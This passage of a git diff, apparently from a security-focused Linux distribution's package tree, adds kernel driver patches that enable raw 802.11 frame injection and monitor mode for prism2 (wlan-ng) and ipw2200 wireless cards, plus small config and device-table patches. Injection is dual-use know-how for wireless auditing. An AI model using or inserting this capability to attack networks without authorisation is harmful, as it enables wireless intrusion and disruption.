hw->txbuff.txfrm.desc.tx_control = +- host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); ++// hw->txbuff.txfrm.desc.tx_control = ++// host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + +- /* copy the header over to the txdesc */ +- memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); +- +- /* if we're using host WEP, increase size by IV+ICV */ +- if (p80211_wep->data) { +- hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +- // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +- usbpktlen+=8; +- } else { +- hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); ++// /* copy the header over to the txdesc */ ++// memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); ++ if (skb->protocol != htons(ETH_P_80211_RAW)) { ++ hw->txbuff.txfrm.desc.tx_control = ++ host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); ++ ++ /* copy the header over to the txdesc */ ++ memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, ++ sizeof(p80211_hdr_t)); ++ ++ /* if we're using host WEP, increase size by IV+ICV */ ++ if (p80211_wep->data) { ++ hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); ++ // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++ usbpktlen+=8; ++ } else { ++ hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); ++ } ++ } else { ++ /* KoreK: raw injection (monitor mode): pull the rest of ++ the header and ssanity check on txdesc.data_len */ ++ memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); ++ skb_pull(skb,16); ++ if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { ++ printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); ++ return 0; ++ } ++// /* if we're using host WEP, increase size by IV+ICV */ ++// if (p80211_wep->data) { ++// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); ++// // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++// usbpktlen+=8; ++// } else { ++// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); ++ hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); ++ hw->txbuff.txfrm.desc.tx_control = ++ host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); ++ ++ /* copy the header over to the txdesc */ ++ memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, ++ sizeof(p80211_hdr_t)); + } + + usbpktlen += skb->len; + + /* copy over the WEP IV if we are using host WEP */ + ptr = hw->txbuff.txfrm.data; +- if (p80211_wep->data) { ++// if (p80211_wep->data) { ++ if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { + memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); + ptr+= sizeof(p80211_wep->iv); + memcpy(ptr, p80211_wep->data, skb->len); + } else { + memcpy(ptr, skb->data, skb->len); + } ++ + /* copy over the packet data */ + ptr+= skb->len; + + /* copy over the WEP ICV if we are using host WEP */ +- if (p80211_wep->data) { ++// if (p80211_wep->data) { ++ if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { + memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); + } + +@@ -4223,6 +4266,17 @@ + switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) + { + case 0: ++ /* KoreK: this testmode uses macport 0 */ ++ if ((wlandev->netdev->type == ARPHRD_IEEE80211) || ++ (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { ++ if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { ++ hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); ++ } else { ++ WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); ++ } ++ goto done; ++ } ++ + fc = ieee2host16(usbin->rxfrm.desc.frame_control); + + /* If exclude and we receive an unencrypted, drop it */ +diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c +--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c 2009-04-04 22:42:15.000000000 -0400 +@@ -512,7 +512,7 @@ + * and return success . + * TODO: we need a saner way to handle this + */ +- if(skb->protocol != ETH_P_80211_RAW) { ++ if(skb->protocol != htons(ETH_P_80211_RAW)) { + p80211netdev_start_queue(wlandev); + WLAN_LOG_NOTICE( + "Tx attempt prior to association, frame dropped.\n"); +@@ -524,7 +524,7 @@ + } + + /* Check for raw transmits */ +- if(skb->protocol == ETH_P_80211_RAW) { ++ if(skb->protocol == htons(ETH_P_80211_RAW)) { + if (!capable(CAP_NET_ADMIN)) { + result = 1; + goto failed; +@@ -952,8 +952,9 @@ + dev->set_mac_address = p80211knetdev_set_mac_address; + #endif + #ifdef HAVE_TX_TIMEOUT +- dev->tx_timeout = &p80211knetdev_tx_timeout; +- dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; ++// korek: still not implemented (XXX: Why exactly do we remove this???) ++// dev->tx_timeout = &p80211knetdev_tx_timeout; ++// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; + #endif + netif_carrier_off(dev); + } +diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c +--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c 2009-04-04 23:18:35.000000000 -0400 +@@ -2860,9 +2860,12 @@ + } + + /* Now if we're already sniffing, we can skip the rest */ +- if (wlandev->netdev->type != ARPHRD_ETHER) { ++// if (wlandev->netdev->type != ARPHRD_ETHER) { ++ if ((wlandev->netdev->type != ARPHRD_IEEE80211) && ++ (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { + /* Set the port type to pIbss */ +- word = HFA384x_PORTTYPE_PSUEDOIBSS; ++// word = HFA384x_PORTTYPE_PSUEDOIBSS; ++ word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; + result = hfa384x_drvr_setconfig16(hw, + HFA384x_RID_CNFPORTTYPE, word); + if ( result ) { +@@ -2874,6 +2877,8 @@ + } + if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { + /* Set the wepflags for no decryption */ ++ /* doesn't work - done from the CLI */ ++ /* Fix? KoreK */ + word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | + HFA384x_WEPFLAGS_DISABLE_RXCRYPT; + result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); +@@ -2919,7 +2924,9 @@ + goto failed; + } + +- if (wlandev->netdev->type == ARPHRD_ETHER) { ++// if (wlandev->netdev->type == ARPHRD_ETHER) { ++ if ((wlandev->netdev->type != ARPHRD_IEEE80211) && ++ (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { + WLAN_LOG_INFO("monitor mode enabled\n"); + } + +diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c +--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c 2009-04-04 23:20:58.000000000 -0400 +@@ -411,7 +411,9 @@ + DBFENTER; + + /* If necessary, set the 802.11 WEP bit */ +- if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { ++// if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { ++ if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) ++ && (skb->protocol != htons(ETH_P_80211_RAW))) { + p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); + } diff --git a/net-wireless/compat-wireless/files/failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch b/net-wireless/compat-wireless/files/failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch new file mode 100644 index 00000000..d1b52f50 --- /dev/null +++ b/net-wireless/compat-wireless/files/failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch @@ -0,0 +1,80 @@ +diff -Naur linux-2.6.28-pentoo-r4/drivers/net/wireless/orinoco_cs.c linux-2.6.28-pentoo-r4-patched/drivers/net/wireless/orinoco_cs.c +--- linux-2.6.28-pentoo-r4/drivers/net/wireless/orinoco_cs.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-pentoo-r4-patched/drivers/net/wireless/orinoco_cs.c 2009-04-08 00:22:05.000000000 -0400 +@@ -418,33 +418,21 @@ + "Pavel Roskin , et al)"; + + static struct pcmcia_device_id orinoco_cs_ids[] = { +- PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), /* SonicWALL Long Range Wireless Card */ +- PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), /* Sohoware NCP110, Philips 802.11b */ + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), /* AnyPoint(TM) Wireless II PC Card */ +- PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), /* 3Com AirConnect PCI 777A */ +- PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), /* PROXIM RangeLAN-DS/LAN PC CARD */ + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), /* Compaq WL100 11 Mbps Wireless Adapter */ + PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), /* Lucent Orinoco and old Intersil */ + PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), /* Ericsson WLAN Card C11 */ + PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), /* Nortel Networks eMobility 802.11 Wireless Adapter */ + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), /* Intermec MobileLAN 11Mbps 802.11b WLAN Card */ +- PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), /* Samsung SWL2000-N 11Mb/s WLAN Card */ + PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), /* AirWay 802.11 Adapter (PCMCIA) */ + PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), /* ARtem Onair */ + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), /* Buffalo WLI-PCM-S11 */ +- PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), /* Linksys WPC11 Version 2.5 */ +- PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), /* Linksys WPC11 Version 3 */ +- PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), /* Compaq HNW-100 11 Mbps Wireless Adapter */ + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), /* Linksys WCF12 Wireless CompactFlash Card */ +- PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), /* ASUS SpaceLink WL-100 */ + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), /* SpeedStream SS1021 Wireless Adapter */ + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), /* SpeedStream Wireless Adapter */ + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), /* PLANEX RoadLannerWave GW-NS11H */ +- PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), /* Airvast WN-100 */ + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), /* Adaptec Ultra Wireless ANW-8030 */ + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), /* CONTEC FLEXSCAN/FX-DDS110-PCC */ +- PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), /* Conceptronic CON11Cpro, EMTAC A2424i */ +- PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), /* Safeway 802.11b, ZCOMAX AirRunner/XI-300 */ + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), /* D-Link DCF660, Sandisk Connect SDWCFB-000 */ + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), + PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), +@@ -453,31 +441,25 @@ + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), +- PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), + PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), +- PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), + PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), +- PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("corega_K.K.", "Wireless_LAN_PCCB-11", 0x29e33311, 0xee7a27ae), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), +- PCMCIA_DEVICE_PROD_ID12("D", "Link DWL-650 11Mbps WLAN Card", 0x71b18589, 0xb6f1b0ab), + PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), + PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), +- PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID12("Intersil", "PRISM 2_5 PCMCIA ADAPTER", 0x4b801a17, 0x6345a0bf), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), +- PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), + PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), + PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), + PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), +@@ -495,10 +477,8 @@ + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), + PCMCIA_DEVICE_PROD_ID12("SMC", "SMC2532W-B EliteConnect Wireless Adapter", 0xc4f8b18b, 0x196bd757), +- PCMCIA_DEVICE_PROD_ID12("SMC", "SMC2632W", 0xc4f8b18b, 0x474a1f2a), + PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), +- PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_NULL, + }; + MODULE_DEVICE_TABLE(pcmcia, orinoco_cs_ids); diff --git a/net-wireless/compat-wireless/files/fix-typos-2.6.35_rc2.patch b/net-wireless/compat-wireless/files/fix-typos-2.6.35_rc2.patch new file mode 100644 index 00000000..d3ac64d8 --- /dev/null +++ b/net-wireless/compat-wireless/files/fix-typos-2.6.35_rc2.patch @@ -0,0 +1,24 @@ +commit e96ac45542ab5f02d2b13981df3a9c34d990afbf +Author: Rick Farina +Date: Mon Jun 14 00:40:03 2010 -0400 + + [PATCH]compat: trivial fix for typo in config.mk + + In config.mk we find "# CONFIG_RT2X00_LIB_DEBUGFS" which clearly + should have an "=y" at the end like ever other config line. + + Signed-off-by: Rick Farina + +diff --git a/config.mk b/config.mk +index 0001a7d..adebbbf 100644 +--- a/config.mk ++++ b/config.mk +@@ -453,7 +453,7 @@ CONFIG_RT2X00_LIB_FIRMWARE=y + CONFIG_RT2X00_LIB_CRYPTO=y + CONFIG_RT2X00_LIB_LEDS=y + # CONFIG_RT2X00_DEBUG=y +-# CONFIG_RT2X00_LIB_DEBUGFS ++# CONFIG_RT2X00_LIB_DEBUGFS=y + endif + + ifeq ($(NEED_RT2X00_FIRMWARE),y) diff --git a/net-wireless/compat-wireless/files/fix-typos-2.6.36_rc5.patch b/net-wireless/compat-wireless/files/fix-typos-2.6.36_rc5.patch new file mode 100644 index 00000000..79a91a88 --- /dev/null +++ b/net-wireless/compat-wireless/files/fix-typos-2.6.36_rc5.patch @@ -0,0 +1,12 @@ +diff -Naur compat-wireless-2.6.36-rc5-2-s/config.mk compat-wireless-2.6.36-rc5-2-s-untypoed/config.mk +--- compat-wireless-2.6.36-rc5-2-s/config.mk 2010-09-27 19:54:28.000000000 -0400 ++++ compat-wireless-2.6.36-rc5-2-s-untypoed/config.mk 2010-10-02 22:17:31.000000000 -0400 +@@ -501,7 +501,7 @@ + CONFIG_RT2X00_LIB_LEDS=y + endif #CONFIG_COMPAT_KERNEL_25 + # CONFIG_RT2X00_DEBUG=y +-# CONFIG_RT2X00_LIB_DEBUGFS ++# CONFIG_RT2X00_LIB_DEBUGFS=y + endif + + ifeq ($(NEED_RT2X00_FIRMWARE),y) diff --git a/net-wireless/compat-wireless/files/force-enable-new-ralink-2.6.38_rc3.patch b/net-wireless/compat-wireless/files/force-enable-new-ralink-2.6.38_rc3.patch new file mode 100644 index 00000000..cb53ac58 --- /dev/null +++ b/net-wireless/compat-wireless/files/force-enable-new-ralink-2.6.38_rc3.patch @@ -0,0 +1,25 @@ +diff -Naur compat-wireless-2.6.38-rc3-2-orig/config.mk compat-wireless-2.6.38-rc3-2/config.mk +--- compat-wireless-2.6.38-rc3-2-orig/config.mk 2011-02-04 16:42:10.000000000 -0500 ++++ compat-wireless-2.6.38-rc3-2/config.mk 2011-02-04 19:25:58.000000000 -0500 +@@ -323,8 +323,8 @@ + CONFIG_RT2500PCI=m + ifdef CONFIG_CRC_CCITT + CONFIG_RT2800PCI=m +-# CONFIG_RT2800PCI_RT33XX=y +-# CONFIG_RT2800PCI_RT35XX=y ++CONFIG_RT2800PCI_RT33XX=y ++CONFIG_RT2800PCI_RT35XX=y + endif #CONFIG_CRC_CCITT + NEED_RT2X00=y + +@@ -452,8 +452,8 @@ + CONFIG_RT2500USB=m + ifdef CONFIG_CRC_CCITT + CONFIG_RT2800USB=m +-# CONFIG_RT2800USB_RT33XX=y +-# CONFIG_RT2800USB_RT35XX=y ++CONFIG_RT2800USB_RT33XX=y ++CONFIG_RT2800USB_RT35XX=y + CONFIG_RT2800USB_UNKNOWN=y + endif #CONFIG_CRC_CCITT + CONFIG_RT2X00_LIB_USB=m diff --git a/net-wireless/compat-wireless/files/force-enable-new-ralink-pci-2.6.36-rc5.patch b/net-wireless/compat-wireless/files/force-enable-new-ralink-pci-2.6.36-rc5.patch new file mode 100644 index 00000000..3cdbad97 --- /dev/null +++ b/net-wireless/compat-wireless/files/force-enable-new-ralink-pci-2.6.36-rc5.patch @@ -0,0 +1,14 @@ +diff -Naur compat-wireless-2.6.36-rc5-2-s/config.mk compat-wireless-2.6.36-rc5-2-s-rt2800pci/config.mk +--- compat-wireless-2.6.36-rc5-2-s/config.mk 2010-09-27 19:54:28.000000000 -0400 ++++ compat-wireless-2.6.36-rc5-2-s-rt2800pci/config.mk 2010-10-02 22:20:59.000000000 -0400 +@@ -301,8 +301,8 @@ + ifneq ($(CONFIG_CRC_CCITT),) + CONFIG_RT2800PCI=m + CONFIG_RT2800PCI_PCI=y +-# CONFIG_RT2800PCI_RT30XX=y +-# CONFIG_RT2800PCI_RT35XX=y ++CONFIG_RT2800PCI_RT30XX=y ++CONFIG_RT2800PCI_RT35XX=y + # CONFIG_RT2800PCI_SOC=y + endif + NEED_RT2X00=y diff --git a/net-wireless/compat-wireless/files/force-enable-new-ralink-pci.patch b/net-wireless/compat-wireless/files/force-enable-new-ralink-pci.patch new file mode 100644 index 00000000..f5dff74b --- /dev/null +++ b/net-wireless/compat-wireless/files/force-enable-new-ralink-pci.patch @@ -0,0 +1,16 @@ +diff --git a/config.mk b/config.mk +index 0001a7d..169a99c 100644 +--- a/config.mk ++++ b/config.mk +@@ -270,8 +270,8 @@ CONFIG_RT2500PCI=m + ifneq ($(CONFIG_CRC_CCITT),) + CONFIG_RT2800PCI=m + CONFIG_RT2800PCI_PCI=y +-# CONFIG_RT2800PCI_RT30XX=y +-# CONFIG_RT2800PCI_RT35XX=y ++CONFIG_RT2800PCI_RT30XX=y ++CONFIG_RT2800PCI_RT35XX=y + # CONFIG_RT2800PCI_SOC=y + endif + NEED_RT2X00=y + diff --git a/net-wireless/compat-wireless/files/force-enable-new-ralink.patch b/net-wireless/compat-wireless/files/force-enable-new-ralink.patch new file mode 100644 index 00000000..2269c0c5 --- /dev/null +++ b/net-wireless/compat-wireless/files/force-enable-new-ralink.patch @@ -0,0 +1,16 @@ +diff -Naur compat-wireless-2.6.35-rc1/config.mk compat-wireless-2.6.35-rc1-fixed/config.mk +--- compat-wireless-2.6.35-rc1/config.mk 2010-05-31 18:30:39.000000000 -0400 ++++ compat-wireless-2.6.35-rc1-fixed/config.mk 2010-06-05 23:48:50.000000000 -0400 +@@ -366,9 +366,9 @@ + CONFIG_RT2500USB=m + ifneq ($(CONFIG_CRC_CCITT),) + CONFIG_RT2800USB=m +-# CONFIG_RT2800USB_RT30XX=y +-# CONFIG_RT2800USB_RT35XX=y +-# CONFIG_RT2800USB_UNKNOWN=y ++CONFIG_RT2800USB_RT30XX=y ++CONFIG_RT2800USB_RT35XX=y ++CONFIG_RT2800USB_UNKNOWN=y + endif + CONFIG_RT2X00_LIB_USB=m + NEED_RT2X00=y diff --git a/net-wireless/compat-wireless/files/ipw2200-inject.2.6.36.patch b/net-wireless/compat-wireless/files/ipw2200-inject.2.6.36.patch new file mode 100644 index 00000000..5b590c81 --- /dev/null +++ b/net-wireless/compat-wireless/files/ipw2200-inject.2.6.36.patch @@ -0,0 +1,116 @@ +diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c +--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c 2010-10-21 04:30:22.000000000 +0800 ++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c 2010-12-08 22:22:41.937999976 +0800 +@@ -206,6 +206,7 @@ + static int ipw_queue_tx_hcmd(struct ipw_priv *priv, int hcmd, void *buf, + int len, int sync); + ++static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb, int pri); + static void ipw_tx_queue_free(struct ipw_priv *); + + static struct ipw_rx_queue *ipw_rx_queue_alloc(struct ipw_priv *); +@@ -1906,6 +1907,63 @@ + static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO, + show_net_stats, store_net_stats); + ++/* SYSFS INJECT */ ++static ssize_t store_inject(struct device *d, ++ struct device_attribute *attr, ++ const char *buf, size_t count) ++{ ++ struct ipw_priv *priv = dev_get_drvdata(d); ++ struct libipw_device *ieee = priv->ieee; ++ struct libipw_txb *txb; ++ struct sk_buff *skb_frag; ++ unsigned char *newbuf; ++ unsigned long flags; ++ ++ // should test (ieee->is_queue_full) ++ ++ // Fw only accepts data, so avoid accidental fw errors. ++ if ( (buf[0]&0x0c) != '\x08') { ++ //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]); ++ return count; ++ } ++ ++ if (count>1500) { ++ count=1500; ++ printk("ipw2200: inject: cutting down frame to 1500 bytes\n"); ++ } ++ ++ spin_lock_irqsave(&priv->lock, flags); ++ ++ // Create a txb with one skb ++ txb = kmalloc(sizeof(struct libipw_txb) + sizeof(u8 *), GFP_ATOMIC); ++ if (!txb) ++ goto nosepuede; ++ txb->nr_frags=1; ++ txb->frag_size = ieee->tx_headroom; ++ txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC); ++ if (!txb->fragments[0]) { ++ kfree(txb); ++ goto nosepuede; ++ } ++ skb_reserve(txb->fragments[0], ieee->tx_headroom); ++ txb->encrypted=0; ++ txb->payload_size=count; ++ skb_frag = txb->fragments[0]; ++ newbuf=skb_put(skb_frag, count); ++ ++ // copy data into txb->skb and send it ++ memcpy(newbuf, buf, count); ++ ++ ipw_tx_skb(priv, txb, 0); ++ ++nosepuede: ++ spin_unlock_irqrestore(&priv->lock, flags); ++ return count; ++} ++ ++ ++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject); ++ + static ssize_t show_channels(struct device *d, + struct device_attribute *attr, + char *buf) +@@ -10212,7 +10270,6 @@ + modify to send one tfd per fragment instead of using chunking. otherwise + we need to heavily modify the libipw_skb_to_txb. + */ +- + static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb, + int pri) + { +@@ -10542,6 +10599,8 @@ + mutex_lock(&priv->mutex); + priv->config |= CFG_CUSTOM_MAC; + memcpy(priv->mac_addr, addr->sa_data, ETH_ALEN); ++ if (rtap_iface) ++ memcpy(priv->prom_net_dev->dev_addr, addr->sa_data, ETH_ALEN); + printk(KERN_INFO "%s: Setting MAC to %pM\n", + priv->net_dev->name, priv->mac_addr); + queue_work(priv->workqueue, &priv->adapter_restart); +@@ -11599,6 +11658,7 @@ + #ifdef CONFIG_IPW2200_PROMISCUOUS + &dev_attr_rtap_iface.attr, + &dev_attr_rtap_filter.attr, ++ &dev_attr_inject.attr, + #endif + NULL + }; +diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h +--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h 2010-10-21 04:30:22.000000000 +0800 ++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h 2010-12-08 22:20:01.561000000 +0800 +@@ -2014,4 +2014,12 @@ + + #define IPW_MAX_CONFIG_RETRIES 10 + ++/* ++ * Hhack to get code compiling on new kernels, the define below ++ * seem to be removed from the linux headers. ++ */ ++#ifndef MAC_ARG ++#define MAC_ARG(x) ((u8*)(x))[0],((u8*)(x))[1],((u8*)(x))[2],((u8*)(x))[3],((u8*)(x))[4],((u8*)(x))[5] ++#endif ++ + #endif /* __ipw2200_h__ */ diff --git a/net-wireless/compat-wireless/files/ipw2200-inject.3.4.6.patch b/net-wireless/compat-wireless/files/ipw2200-inject.3.4.6.patch new file mode 100644 index 00000000..941bbc50 --- 